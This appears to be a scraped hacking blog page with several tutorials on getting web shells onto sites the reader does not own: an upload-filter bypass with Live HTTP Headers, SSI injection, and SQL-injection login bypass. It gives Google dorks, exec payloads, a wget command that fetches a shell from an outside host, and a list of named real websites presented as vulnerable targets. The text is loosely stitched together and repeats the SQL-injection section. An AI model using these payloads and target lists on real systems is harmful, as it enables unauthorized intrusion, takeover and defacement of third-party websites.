Requirements:-So now lets begin,
- Mozilla Firox
- Live HTTP Headers Add On for Firefox
- A shell
Now you have successfully done, only thing you have to do is to find the shell path.
- Login to that site as a admin, then find a place to upload a file in that particular site.
- Then rename your shell name to shell.php.jpg (or what ever that site supports. In my case, site supports only jpg file. Thats why i renamed it to shell.php.jpg.)
- Then start your Live HTTP Headers addon, after that upload your shell.
- Then your Live HTTP Headers will look something similar to this
- Then click on the shell.php.jpg, after click on Reply button.
- Then again a new window will open, in that window there will be two boxes, but we have to work on second box.
- In the second box, rename your shell.php.jpg to shell.php, then again click on Reply button.
Upload a shell via SSI injection
Things you will need:
1) Site vulnerable to SSI injection (I will be giving few dorks and few vulnerable sites to practice on)
2) Common sense.
What is SSI?
SSI Injection (Server-side Include) is a server-side exploit technique that allows an attacker to send code into a web application, which will later be executed locally by the web server. SSI Injection exploits a web application's failure to sanitize user-supplied data before they are inserted into a server-side interpreted HTML file.
The Server-Side Includes attack allows the exploitation of a web application by injecting scripts in HTML pages or executing arbitrary codes remotely. It can be exploited through manipulation of SSI in use in the application or force its use through user input fields.
If an attacker submits a Server-side Include statement, he may have the ability to execute arbitrary operating system commands, or include a restricted file's contents the next time the page is served.
Description Taken From: http://nightcode.weebly.com/ssi-injection.html
Chapter I - Finding a vulnerable site
I will provide few dorks for this type of injection.
Best dork i found is
Code:
inurl:bin/Cklb/
but it gave about 863 results so not that usable.
Lets get to work shall we
Enter
Code:
inurl:bin/Cklb/
in Google and go testing.
Chapter II - Testing a site
So when you used that dork and you opened one site now you must determine id the site is vulnerable to this type of injection.Here are some command you can use:
Credits: Stewie™
Code:
[/I]
[I]<!--#echo var="DATE_LOCAL" -->[/I]
[I]Will display the Date[/I]
[I]<!--#exec cmd="whoami"-->[/I]
[I]Will show which user is running on the server[/I]
[I]<pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre> (Linux)[/I]
[I]Will display all files in the directory[/I]
[I]<!-- #exec cmd="dir" --> (Windows)[/I]
[I]Will display all files in the directory[/I]
[I]
Note: You will need to use the <pre></pre> tags to have some commands executed.
Now take one of the commands and insert it in search boxes or login fields.
Mostly login fields are vulnerable but there is some cases when search boxes are vulnerable.
NOTE: You most enter your command into both fields (If login are vulnerable!!)
I have my site for example:
Code:
[/I]
[I]http://dev.stockphotosamerica.com/bin/Cklb
PLEASE BE REASONABLE TO THIS SITE.
DO NOT RAPE IT!
And when insert any command:
Code:
[/I]
[I]<pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre>
![[IMG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s9p33TF6MAjoZWj6Vc5vXFa6RZ91zzJuPPXvaTfLG88XUpZZckKzPuCrLf9Xdg_cnB8VUiI1F0IRO9CLATVcu-poZk2zsnDJRc3B8hZYG9VITHL8Il0tI=s0-d)
![[IMG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v73gumoIt_gUs_4FLevEjrqxP1hDvp6TM3nnXgQ_doCuXRx1i-pWhelizZwz6ztKwD_6-oggw5k0DenUM7f9S7CTedrGpdkW5ZSzbQU4c287eQjg=s0-d)
Now we see that our command successfully executed and that our site is vulnerable....
Chapter III - Spawning a shell
So we have our vulnerable site and we are ready to upload a shell.First of all you will need a .TXT of your favourite shell (Host it somewhere free hosting,hacked site or anything you got)
Now we must download it to our site like this:
Code:
[/I]
[I]<!--#exec cmd="wget http://website.com/dir/shell.txt" -->
So insert your site where your shell is hosted in the command and you are ready to go.
Now just paste it into the fields and press Login or Enter.
![[IMG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_veDg1hksgfNfAE9t7pTq0aogru8g_65FAaltUenIGUvmh6QYtNBV_ReQfqwvVCUjcu3Y0yRpz5caKj0eD7ej55RmvAHOLtuqwAEPzJ_UQl_5HRX6c_gCY=s0-d)
To see if your .TXT file downloaded execute the command we used before:
Code:
[/I]
[I]<pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre>
![[IMG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ujV23v4FXQG6kkr2MQeDbPyDclOltWhAmw6lIjRFI9u56AIDCklZbjVeOasjvtMInD3WYQvKJfnP9z9ZRtlGMQEV8B3NVTB75tn1qxjW3VddMp536a2DY=s0-d)
If you see that it downloaded successfully now you must rename it from .txt to .php!
You can use this command
Code:
[/I]
[I]<!--#exec cmd="mv shell.txt shell.php" -->
You rename filenames what ever you need (Offcourse you will need to put your .TXT name first.)
My command:
Code:
[/I]
[I]<!--#exec cmd="mv config1.txt config.php" -->
Now again list the files and try to find your file now.
If you did now just access it.
![[IMG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sVWTyDWcauYw69yHCCsqGcruDr9pP6PN0QfMgZTAT3FyR4455pJNN29vGBSIhHOM8CQpthZjL37kLxTqrjaFfyf4DkP27-DitHC-fgk6IgpKFgrpQA=s0-d)
![[IMG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_udScHS5_a2RkqkI2GOwj_rtc9Lpye1WWuZSfT0TQSx_hKh25mesymJosLR8WPCaZ-XSln4M2eF-G7vWtbBux5xUhDpBeH9ZtHetzg--Y5ZKZpKwpvdI1k=s0-d)
![[IMG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uFb88WlUmQ5EhwmHExjrzVX65mC-xxu16MTD39JucObQ7JIpD6eB2rbV_qdeQc94FLI5jzp5ypQlmQcpiQ_BXiYlIpjr7tuPERQpmHyQZRr4bA-GyB-t8=s0-d)
That would be end of this tutorial.
I hope you learned something and do not rape sites with this
(Be smart and use them)
Dorks
Credits: Stewie™
Code:
[/I]
[I]inurl:bin/Cklb/ - Best Dork
inurl:login.shtml[/I]
[I]inurl:login.shtm[/I]
[I]inurl:login.stm[/I]
[I]inurl:search.shtml[/I]
[I]inurl:search.shtm[/I]
[I]inurl:search.stm[/I]
[I]inurl:forgot.shtml[/I]
[I]inurl:forgot.shtm[/I]
[I]inurl:forgot.stm[/I]
[I]inurl:register.shtml[/I]
[I]inurl:register.shtm[/I]
[I]inurl:register.stm[/I]
[I]inurl:login.shtml?page=
Vulnerable site to practice on:
Credits: Dan
Code:
[/I][/LEFT]
[LEFT][I]http://www.glasshouseimages.com/user/login.shtml[/I][/LEFT]
[LEFT][I]http://www.wppionlinecontest.com/user/login.shtml[/I][/LEFT]
[LEFT][I]www.cgibackgrounds.com/user/login.shtml[/I][/LEFT]
[LEFT][I]www.getstock.com/user/login.shtml[/I][/LEFT]
[LEFT][I]www.estostock.com/user/login.shtml[/I][/LEFT]
[LEFT][I]http://www.blendimages.com/user/login.shtml[/I][/LEFT]
[LEFT][I]http://www.pdnthelook.com/user/login.shtml[/I][/LEFT]
[LEFT][I]http://iloveimages.com/user/login.shtml[/I][/LEFT]
[LEFT][I]http://www.win-initiative.com/user/login.shtml (view source to see output)[/I][/LEFT]
[LEFT][I]http://thegatheringsphotocontest.com/user/login.shtml[/I][/LEFT]
[I]
To get a shell up, just wget the shellcode and make the output something such as "shell.txt".
Code:
[/I][/LEFT]
[LEFT][I]http://www.cgibackgrounds.com/Dan.txt
Read More
Add your Comment
0
comments
![[IMG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tqka60oW8dCsbkPptnXVqqmgtQ9_eBcTEuw7hEdgubNu7ZekO1pOy3RetBl-w2A2aAi46z97IPviitgDsDkmM=s0-d)
![[IMG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ufqCciF7ESlWB__HPnV9rv6evRyZkqXgEReXOdoZ9h0blSQKLgyEd3Fx2B6DbSjVm9EngvS4zWzxepKdxdfNY=s0-d)
Shell Uploading With SQL Injection
So Let's Start with simple Instructions.
What we Need Simple or Advance sql injection vulnerable Website eg.www.example.com/admin/adminlogin.asp
So Let's start With Tutourial.
1.We need to find Sql vulnerable website.
Like using your smartsense and playing with Google.
That is called google hacking
so how to use google hacking. Everyone Know about google dorks.
So use simple google dorks.
eg. inurl:adminlogin.asp or php or aspx
inurl:admin/adminlogin.aspx or php or asp
![[Image: sql1.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tot8Ae2aEl66VcM50qqELckQwxa2yQbA79zGaMNxh1irNIFDr5Jr5_LWwD81glNuA8Y7Bzkwy0fPonDcph9gmPKTCcbputjha2IORc7YQ=s0-d)
You Can find these dorks On google Type "GHDB"
(google Hacking Database)
2.After you finding a website then you want to hack it or gain admin access So how to do it.
Here is same thing your smartsense.
First of fall use simple thing
Username:admin
password:admin
if it is not working then use sql queries that is in simple codes.
That sql queries is used by database like 'or''='
0=0 if 0/=0 then 1=1
something like that.
username:admin
password:'or''='[/color]
So here Is some sql Queries that is maily used.
'or''='
' or'1'='1
' or 'x'='x
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
3.Now after that you have Admin Access.
After entering in Website You Want to find like gallery links or something that is add category like that.
![[Image: sql3.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s8cUmQtAo3JVqwH2ZioFfaicRI6ulSeyDuj-U3N3z28-qRlHwgIKJh5SVsE-STpMT6Clo7jEYz_EvYv3I5NXSelyaG7CCywxU--i9ds6Y=s0-d)
4.So Find the option of upload.
5.Select file. Select your shell here then upload it.
Everything is done now you want to find it.
Go to Website eg.www.example.com
![[Image: sql6.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vdrh2sZzo3vYUIyJp_nTlBeebL-bfiXHju_CiHqEaNh1ug8R4jmw0TD9Tqa-TNv8DV1lLR6VMQAH1LI_jnKOFXj_QE5XyZlBLAIimdIeE=s0-d)
find your category or gallery link open it in gallery there is images showing.
Enjoy The Shell uploading. And do anything with Website what you Want..
Thanks for reading..
What we Need Simple or Advance sql injection vulnerable Website eg.www.example.com/admin/adminlogin.asp
So Let's start With Tutourial.
1.We need to find Sql vulnerable website.
Like using your smartsense and playing with Google.
That is called google hacking
so how to use google hacking. Everyone Know about google dorks.
So use simple google dorks.
eg. inurl:adminlogin.asp or php or aspx
inurl:admin/adminlogin.aspx or php or asp
You Can find these dorks On google Type "GHDB"
(google Hacking Database)
2.After you finding a website then you want to hack it or gain admin access So how to do it.
Here is same thing your smartsense.
First of fall use simple thing
Username:admin
password:admin
if it is not working then use sql queries that is in simple codes.
That sql queries is used by database like 'or''='
0=0 if 0/=0 then 1=1
something like that.
username:admin
password:'or''='[/color]
So here Is some sql Queries that is maily used.
'or''='
' or'1'='1
' or 'x'='x
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
3.Now after that you have Admin Access.
After entering in Website You Want to find like gallery links or something that is add category like that.
4.So Find the option of upload.
5.Select file. Select your shell here then upload it.
Everything is done now you want to find it.
Go to Website eg.www.example.com
find your category or gallery link open it in gallery there is images showing.
Enjoy The Shell uploading. And do anything with Website what you Want..
Thanks for reading..
Read More
Add your Comment
0
comments
